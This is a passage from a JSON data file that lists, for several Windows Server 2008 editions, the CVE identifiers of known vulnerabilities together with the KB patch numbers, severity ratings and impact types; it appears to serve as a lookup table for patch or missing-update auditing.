Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-Based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898855","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code 